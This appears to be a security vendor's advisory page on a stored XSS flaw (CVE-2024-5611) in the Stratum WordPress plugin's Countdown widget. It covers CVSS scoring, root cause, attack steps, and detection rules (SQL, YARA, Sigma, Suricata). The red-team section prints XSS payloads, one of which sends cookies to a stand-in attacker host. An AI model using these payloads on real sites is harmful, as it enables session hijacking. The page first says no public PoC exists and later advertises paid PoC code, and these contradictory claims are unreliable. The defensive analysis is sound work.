CVE-2024-5611
Executive Summary
CVE-2024-5611 is a Stored Cross-Site Scripting (XSS) vulnerability in the Stratum – Elementor Widgets plugin for WordPress, affecting all versions up to and including 1.4.1. The flaw resides in the Countdown widget’s label_years attribute, where insufficient input sanitization and output escaping allow authenticated attackers with Contributor-level access or higher to inject arbitrary web scripts. These scripts execute whenever a user accesses a page containing the malicious payload.
This vulnerability is classified as a WordPress ecosystem issue, specifically targeting the Stratum plugin. The CVSS v3.1 score is 6.4 (Medium), with a vector emphasizing low attack complexity, low privileges required, and a changed scope due to the XSS impact on confidentiality and integrity. No public proof-of-concept (PoC) or exploit code is currently available, and the patch status remains unknown.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should monitor for updates from the plugin vendor and apply patches as soon as they become available. No NPM, PyPI, Go, or Ruby packages are involved.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Base Score: 6.4 (Medium)
- Attack Vector (AV): Network – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low – No special conditions are required.
- Privileges Required (PR): Low – Attacker needs Contributor-level access or higher.
- User Interaction (UI): None – No user action is needed for the exploit to trigger.
- Scope (S): Changed – The XSS can affect resources beyond the vulnerable component.
- Confidentiality (C): Low – Limited data exposure possible.
- Integrity (I): Low – Limited ability to modify content.
- Availability (A): None – No impact on availability.
Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the potential for stored XSS in a widely used plugin could lead to session hijacking, defacement, or phishing attacks.
Deep Dive & Mechanics
The vulnerability exists in the Countdown widget of the Stratum plugin. The label_years attribute is used to display custom text for the years unit in the countdown timer. Due to insufficient input sanitization and output escaping, an attacker with Contributor-level access can inject malicious JavaScript code into this attribute. When the widget is rendered on a page, the injected script executes in the context of the victim’s browser.
Root Cause: The plugin fails to properly sanitize user input in the label_years field and does not escape output when rendering the attribute in HTML. This allows arbitrary HTML and JavaScript to be stored and later executed.
Attack Flow:
- Attacker logs in with Contributor-level credentials.
- Attacker creates or edits a page/post containing the Countdown widget.
- Attacker sets the
label_yearsattribute to a malicious payload, e.g.,<script>alert('XSS')</script>. - The payload is stored in the WordPress database.
- When any user (including administrators) visits the page, the script executes.
Vulnerable vs. Patched Code
Vulnerable Code (version <= 1.4.1):
The plugin likely outputs the label_years value directly without escaping, e.g.:
echo '<span class="stratum-countdown__label">' . $label_years . '</span>';
Patched Code (hypothetical):
The patched version would use WordPress’s esc_html() or wp_kses() to sanitize and escape the output:
echo '<span class="stratum-countdown__label">' . esc_html( $label_years ) . '</span>';
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites: WordPress installation with Stratum plugin <= 1.4.1, Contributor-level account.
Steps:
- Log in to WordPress as a Contributor.
- Navigate to Pages > Add New.
- Add the Stratum Countdown widget to the page.
- In the widget settings, locate the
label_yearsfield. - Inject a payload such as:
or<img src=x onerror=alert('XSS')><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Publish or save the page.
- When an administrator or visitor views the page, the script executes.
Blue Team (Defender)
Detection: Monitor for unusual changes to page content, especially in custom fields or widget attributes. Use web application firewalls (WAF) to block common XSS patterns.
Hunting: Search for the presence of <script> tags or event handlers in the label_years field within the WordPress database:
SELECT * FROM wp_postmeta WHERE meta_key LIKE '%label_years%' AND meta_value REGEXP '<script|<img.*onerror|<svg.*onload';
Prevention: Ensure input validation and output escaping are applied to all user-supplied data. Restrict Contributor-level access to trusted users only.
Indicators of Compromise (IOCs)
- File Indicators: Modified page/post content containing malicious JavaScript in the Countdown widget’s
label_yearsattribute. - Network Indicators: Outbound connections to attacker-controlled domains from the WordPress server (e.g., for cookie exfiltration).
- Log Indicators: WordPress audit logs showing creation or editing of pages by Contributor-level users with suspicious widget configurations.
- Database Indicators: Entries in
wp_postmetawheremeta_keycontainslabel_yearsandmeta_valueincludes<script>or event handlers.
Detection Engineering
YARA Rule
rule CVE_2024_5611_Stratum_XSS {
meta:
description = "Detects stored XSS payloads in Stratum plugin label_years attribute"
author = "Valters IT"
date = "2025-04-14"
reference = "CVE-2024-5611"
strings:
$xss1 = /label_years[^>]*>[^<]*<script/i
$xss2 = /label_years[^>]*>[^<]*<img[^>]*onerror/i
$xss3 = /label_years[^>]*>[^<]*<svg[^>]*onload/i
condition:
any of them
}
Sigma Rule
title: Stored XSS via Stratum Countdown Widget label_years
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects potential stored XSS payloads in the Stratum plugin's label_years attribute
author: Valters IT
date: 2025-04-14
logsource:
category: webserver
product: wordpress
detection:
selection:
http.url|contains: "label_years"
http.body|contains|all:
- "<script"
- "label_years"
condition: selection
falsepositives:
- Legitimate use of JavaScript in widget attributes (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-5611 Stratum Stored XSS Attempt"; flow:to_server,established; content:"label_years"; http_client_body; pcre:"/<script|<img.*onerror|<svg.*onload/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Update the plugin: If a patched version becomes available, update Stratum to the latest version immediately.
- Disable the plugin: If no patch is available, consider disabling the Stratum plugin until a fix is released.
- Restrict user roles: Limit Contributor-level access to only trusted users. Consider using a plugin to enforce stricter capabilities.
Long-term Measures:
- Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
- Conduct regular security audits of WordPress plugins and themes.
- Enforce input validation and output escaping in all custom development.
- Monitor for plugin updates and apply patches promptly.
Valters IT – Securing digital frontiers with precision and expertise.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.